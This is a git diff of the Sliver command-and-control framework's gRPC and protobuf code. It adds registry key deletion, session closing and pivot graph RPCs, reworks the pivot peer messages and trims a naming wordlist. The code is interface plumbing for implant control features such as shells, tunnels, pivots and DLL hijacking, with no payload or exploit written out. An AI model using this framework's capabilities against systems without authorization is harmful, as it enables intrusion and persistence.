||||
150, // 213: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
151, // 214: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
152, // 215: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
70, // 216: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 217: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
153, // 218: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
154, // 219: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
155, // 220: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
156, // 221: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
156, // 222: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
157, // 223: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
157, // 224: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
158, // 225: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
159, // 226: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
160, // 227: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
161, // 228: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
83, // 229: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 230: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
84, // 231: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
85, // 232: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 233: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
86, // 234: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
162, // 235: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
118, // [118:236] is the sub-list for method output_type
|
||||
0, // [0:118] is the sub-list for method input_type
|
||||
0, // [0:0] is the sub-list for extension type_name
|
||||
0, // [0:0] is the sub-list for extension extendee
|
||||
0, // [0:0] is the sub-list for field type_name
|
||||
|
||||
@@ -117,7 +117,8 @@ service SliverRPC {
|
||||
// *** Pivots ***
|
||||
rpc PivotStartListener(sliverpb.PivotStartListenerReq) returns (sliverpb.PivotListener);
|
||||
rpc PivotStopListener(sliverpb.PivotStopListenerReq) returns (commonpb.Empty);
|
||||
rpc PivotListeners(sliverpb.PivotListenersReq) returns (sliverpb.PivotListeners);
|
||||
rpc PivotSessionListeners(sliverpb.PivotListenersReq) returns (sliverpb.PivotListeners);
|
||||
rpc PivotGraph(commonpb.Empty) returns (clientpb.PivotGraph);
|
||||
|
||||
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
|
||||
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
|
||||
@@ -130,6 +131,7 @@ service SliverRPC {
|
||||
rpc RegistryRead(sliverpb.RegistryReadReq) returns (sliverpb.RegistryRead);
|
||||
rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
|
||||
rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
|
||||
rpc RegistryDeleteKey(sliverpb.RegistryDeleteKeyReq) returns (sliverpb.RegistryDeleteKey);
|
||||
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
|
||||
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
@@ -138,6 +140,7 @@ service SliverRPC {
|
||||
|
||||
// Beacon only commands
|
||||
rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);
|
||||
rpc CloseSession(sliverpb.CloseSession) returns (commonpb.Empty);
|
||||
|
||||
// Extensions
|
||||
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
|
||||
|
||||
@@ -115,7 +115,8 @@ type SliverRPCClient interface {
|
||||
// *** Pivots ***
|
||||
PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
|
||||
PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error)
|
||||
PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error)
|
||||
PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error)
|
||||
StartService(ctx context.Context, in *sliverpb.StartServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
|
||||
StopService(ctx context.Context, in *sliverpb.StopServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
|
||||
RemoveService(ctx context.Context, in *sliverpb.RemoveServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
|
||||
@@ -127,6 +128,7 @@ type SliverRPCClient interface {
|
||||
RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error)
|
||||
RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error)
|
||||
RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error)
|
||||
RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error)
|
||||
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
@@ -134,6 +136,7 @@ type SliverRPCClient interface {
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
// Beacon only commands
|
||||
OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
|
||||
CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// Extensions
|
||||
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
|
||||
@@ -879,9 +882,18 @@ func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.Pi
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
|
||||
func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
|
||||
out := new(sliverpb.PivotListeners)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotListeners", in, out, opts...)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotSessionListeners", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error) {
|
||||
out := new(clientpb.PivotGraph)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotGraph", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -987,6 +999,15 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error) {
|
||||
out := new(sliverpb.RegistryDeleteKey)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryDeleteKey", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) {
|
||||
out := new(sliverpb.RegistrySubKeyList)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...)
|
||||
@@ -1041,6 +1062,15 @@ func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSess
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSession", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
out := new(sliverpb.RegisterExtension)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
|
||||
@@ -1368,7 +1398,8 @@ type SliverRPCServer interface {
|
||||
// *** Pivots ***
|
||||
PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
|
||||
PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
|
||||
PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error)
|
||||
PivotSessionListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error)
|
||||
PivotGraph(context.Context, *commonpb.Empty) (*clientpb.PivotGraph, error)
|
||||
StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error)
|
||||
StopService(context.Context, *sliverpb.StopServiceReq) (*sliverpb.ServiceInfo, error)
|
||||
RemoveService(context.Context, *sliverpb.RemoveServiceReq) (*sliverpb.ServiceInfo, error)
|
||||
@@ -1380,6 +1411,7 @@ type SliverRPCServer interface {
|
||||
RegistryRead(context.Context, *sliverpb.RegistryReadReq) (*sliverpb.RegistryRead, error)
|
||||
RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error)
|
||||
RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error)
|
||||
RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error)
|
||||
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
@@ -1387,6 +1419,7 @@ type SliverRPCServer interface {
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
// Beacon only commands
|
||||
OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
|
||||
CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error)
|
||||
// Extensions
|
||||
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
|
||||
CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
|
||||
@@ -1655,8 +1688,11 @@ func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverp
|
||||
func (UnimplementedSliverRPCServer) PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotStopListener not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotListeners not implemented")
|
||||
func (UnimplementedSliverRPCServer) PivotSessionListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotSessionListeners not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) PivotGraph(context.Context, *commonpb.Empty) (*clientpb.PivotGraph, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotGraph not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method StartService not implemented")
|
||||
@@ -1691,6 +1727,9 @@ func (UnimplementedSliverRPCServer) RegistryWrite(context.Context, *sliverpb.Reg
|
||||
func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegistryCreateKey not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegistryDeleteKey not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegistryListSubKeys not implemented")
|
||||
}
|
||||
@@ -1709,6 +1748,9 @@ func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivs
|
||||
func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
|
||||
}
|
||||
@@ -3198,20 +3240,38 @@ func _SliverRPC_PivotStopListener_Handler(srv interface{}, ctx context.Context,
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_PivotListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
func _SliverRPC_PivotSessionListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.PivotListenersReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).PivotListeners(ctx, in)
|
||||
return srv.(SliverRPCServer).PivotSessionListeners(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/PivotListeners",
|
||||
FullMethod: "/rpcpb.SliverRPC/PivotSessionListeners",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).PivotListeners(ctx, req.(*sliverpb.PivotListenersReq))
|
||||
return srv.(SliverRPCServer).PivotSessionListeners(ctx, req.(*sliverpb.PivotListenersReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_PivotGraph_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).PivotGraph(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/PivotGraph",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).PivotGraph(ctx, req.(*commonpb.Empty))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
@@ -3414,6 +3474,24 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context,
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RegistryDeleteKey_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RegistryDeleteKeyReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).RegistryDeleteKey(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/RegistryDeleteKey",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).RegistryDeleteKey(ctx, req.(*sliverpb.RegistryDeleteKeyReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RegistrySubKeyListReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3522,6 +3600,24 @@ func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec fu
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.CloseSession)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).CloseSession(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/CloseSession",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).CloseSession(ctx, req.(*sliverpb.CloseSession))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RegisterExtensionReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4189,8 +4285,12 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
Handler: _SliverRPC_PivotStopListener_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "PivotListeners",
|
||||
Handler: _SliverRPC_PivotListeners_Handler,
|
||||
MethodName: "PivotSessionListeners",
|
||||
Handler: _SliverRPC_PivotSessionListeners_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "PivotGraph",
|
||||
Handler: _SliverRPC_PivotGraph_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "StartService",
|
||||
@@ -4236,6 +4336,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "RegistryCreateKey",
|
||||
Handler: _SliverRPC_RegistryCreateKey_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RegistryDeleteKey",
|
||||
Handler: _SliverRPC_RegistryDeleteKey_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RegistryListSubKeys",
|
||||
Handler: _SliverRPC_RegistryListSubKeys_Handler,
|
||||
@@ -4260,6 +4364,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "OpenSession",
|
||||
Handler: _SliverRPC_OpenSession_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "CloseSession",
|
||||
Handler: _SliverRPC_CloseSession_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RegisterExtension",
|
||||
Handler: _SliverRPC_RegisterExtension_Handler,
|
||||
|
||||
@@ -182,8 +182,8 @@ const (
|
||||
MsgPivotPeerEnvelope
|
||||
// MsgPivotPeerFailure - Failure to send an envelope to a pivot peer
|
||||
MsgPivotPeerFailure
|
||||
// MsgPivotOriginEnvelope
|
||||
MsgPivotOriginEnvelope
|
||||
// MsgPivotSessionEnvelope
|
||||
MsgPivotSessionEnvelope
|
||||
|
||||
// MsgStartServiceReq - Request to start a service
|
||||
MsgStartServiceReq
|
||||
@@ -274,6 +274,9 @@ const (
|
||||
MsgOpenSession
|
||||
// MsgCloseSession - Close the active session
|
||||
MsgCloseSession
|
||||
|
||||
// MsgRegistryDeleteKeyReq
|
||||
MsgRegistryDeleteKeyReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -425,6 +428,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgRegistryWriteReq
|
||||
case *RegistryCreateKeyReq:
|
||||
return MsgRegistryCreateKeyReq
|
||||
case *RegistryDeleteKeyReq:
|
||||
return MsgRegistryDeleteKeyReq
|
||||
|
||||
case *WGPortForwardStartReq:
|
||||
return MsgWGStartPortFwdReq
|
||||
|
||||
+2048
-1592
File diff suppressed because it is too large.
Load diff
@@ -54,6 +54,7 @@ message Register {
|
||||
int64 ReconnectInterval = 13;
|
||||
string ProxyURL = 14;
|
||||
string ConfigID = 16;
|
||||
int64 PeerID = 17;
|
||||
}
|
||||
|
||||
message BeaconRegister {
|
||||
@@ -64,6 +65,12 @@ message BeaconRegister {
|
||||
int64 NextCheckin = 5;
|
||||
}
|
||||
|
||||
message SessionRegister {
|
||||
string ID = 1;
|
||||
Register Register = 2;
|
||||
}
|
||||
|
||||
|
||||
message OpenSession {
|
||||
repeated string C2s = 1;
|
||||
int64 Delay = 2;
|
||||
@@ -208,6 +215,8 @@ message Mkdir {
|
||||
|
||||
message DownloadReq {
|
||||
string Path = 1;
|
||||
int64 Start = 2;
|
||||
int64 Stop = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -216,7 +225,9 @@ message Download {
|
||||
string Path = 1;
|
||||
string Encoder = 2;
|
||||
bool Exists = 3;
|
||||
bytes Data = 4;
|
||||
int64 Start = 4;
|
||||
int64 Stop = 5;
|
||||
bytes Data = 6;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -601,6 +612,18 @@ message RegistryCreateKey {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message RegistryDeleteKeyReq {
|
||||
string Hive = 1;
|
||||
string Path = 2;
|
||||
string Key = 3;
|
||||
string Hostname = 4;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message RegistryDeleteKey {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message RegistrySubKeyListReq {
|
||||
string Hive = 1;
|
||||
string Path = 2;
|
||||
@@ -631,7 +654,7 @@ message RegistryValuesList {
|
||||
// Tunnel - Tunnel related messages
|
||||
message Tunnel {
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
uint32 SessionID = 9;
|
||||
string SessionID = 9;
|
||||
}
|
||||
|
||||
message TunnelData {
|
||||
@@ -642,7 +665,7 @@ message TunnelData {
|
||||
bool Resend = 5;
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
uint32 SessionID = 9;
|
||||
string SessionID = 9;
|
||||
}
|
||||
|
||||
// ShellReq - Request the implant open a realtime shell tunnel
|
||||
@@ -688,7 +711,7 @@ message Portfwd {
|
||||
message Socks {
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
uint32 SessionID = 9;
|
||||
string SessionID = 9;
|
||||
}
|
||||
|
||||
message SocksData {
|
||||
@@ -727,40 +750,54 @@ message PivotListener {
|
||||
uint32 ID = 1;
|
||||
PivotType Type = 2;
|
||||
string BindAddress = 3;
|
||||
repeated PivotPeer Pivots = 4;
|
||||
repeated NetConnPivot Pivots = 4;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message PivotHello {
|
||||
bytes PublicKey = 1;
|
||||
string PublicKeySignature = 2;
|
||||
bytes SessionKey = 3;
|
||||
int64 PeerID = 2;
|
||||
string PublicKeySignature = 3;
|
||||
bytes SessionKey = 4;
|
||||
}
|
||||
|
||||
message PivotServerKeyExchange {
|
||||
int64 OriginID = 2;
|
||||
bytes SessionKey = 3;
|
||||
int64 OriginID = 1;
|
||||
bytes SessionKey = 2;
|
||||
}
|
||||
|
||||
message PivotPeer {
|
||||
int64 PeerID = 1;
|
||||
string Name = 2;
|
||||
}
|
||||
|
||||
message PivotPeerEnvelope {
|
||||
int64 PeerID = 1;
|
||||
int64 PivotID = 2;
|
||||
string Name = 3;
|
||||
repeated PivotPeer Peers = 1;
|
||||
uint32 Type = 2;
|
||||
bytes PivotSessionID = 3;
|
||||
bytes Data = 4;
|
||||
int64 PeerFailureAt = 5;
|
||||
}
|
||||
|
||||
message PivotPing {
|
||||
uint32 Nonce = 1;
|
||||
}
|
||||
|
||||
message PivotPeer {
|
||||
int64 ID = 1;
|
||||
message NetConnPivot {
|
||||
int64 PeerID = 1;
|
||||
string RemoteAddress = 2;
|
||||
}
|
||||
|
||||
enum PeerFailureType {
|
||||
SEND_FAILURE = 0;
|
||||
DISCONNECT = 1;
|
||||
}
|
||||
|
||||
message PivotPeerFailure {
|
||||
int64 ID = 1;
|
||||
int64 PeerID = 1;
|
||||
PeerFailureType Type = 2;
|
||||
string Err = 3;
|
||||
}
|
||||
|
||||
message PivotListenersReq {
|
||||
@@ -933,4 +970,4 @@ message ListExtensions {
|
||||
repeated string Names = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
}
|
||||
@@ -103,7 +103,7 @@ func Setup(force bool, echo bool) {
|
||||
setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2021 Bishop Fox
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
|
||||
@@ -13163,9 +13163,6 @@ BEDRAGGLES
|
||||
BEDRAGGLING
|
||||
BEDRAIL
|
||||
BEDRAILS
|
||||
BEDRAPE
|
||||
BEDRAPED
|
||||
BEDRAPES
|
||||
BEDRAPING
|
||||
BEDRENCH
|
||||
BEDRENCHED
|
||||
@@ -17343,11 +17340,6 @@ BONZE
|
||||
BONZER
|
||||
BONZES
|
||||
BOO
|
||||
BOOB
|
||||
BOOBED
|
||||
BOOBIE
|
||||
BOOBIES
|
||||
BOOBING
|
||||
BOOBIRD
|
||||
BOOBIRDS
|
||||
BOOBISH
|
||||
@@ -17356,7 +17348,6 @@ BOOBOISIES
|
||||
BOOBOO
|
||||
BOOBOOS
|
||||
BOOBS
|
||||
BOOBY
|
||||
BOOCOO
|
||||
BOOCOOS
|
||||
BOODIES
|
||||
@@ -17366,7 +17357,6 @@ BOODLER
|
||||
BOODLERS
|
||||
BOODLES
|
||||
BOODLING
|
||||
BOODY
|
||||
BOOED
|
||||
BOOGER
|
||||
BOOGERMAN
|
||||
@@ -18628,7 +18618,6 @@ BREAM
|
||||
BREAMED
|
||||
BREAMING
|
||||
BREAMS
|
||||
BREAST
|
||||
BREASTBONE
|
||||
BREASTBONES
|
||||
BREASTED
|
||||
@@ -18641,7 +18630,6 @@ BREASTPIN
|
||||
BREASTPINS
|
||||
BREASTPLATE
|
||||
BREASTPLATES
|
||||
BREASTS
|
||||
BREASTSTROKE
|
||||
BREASTSTROKER
|
||||
BREASTSTROKERS
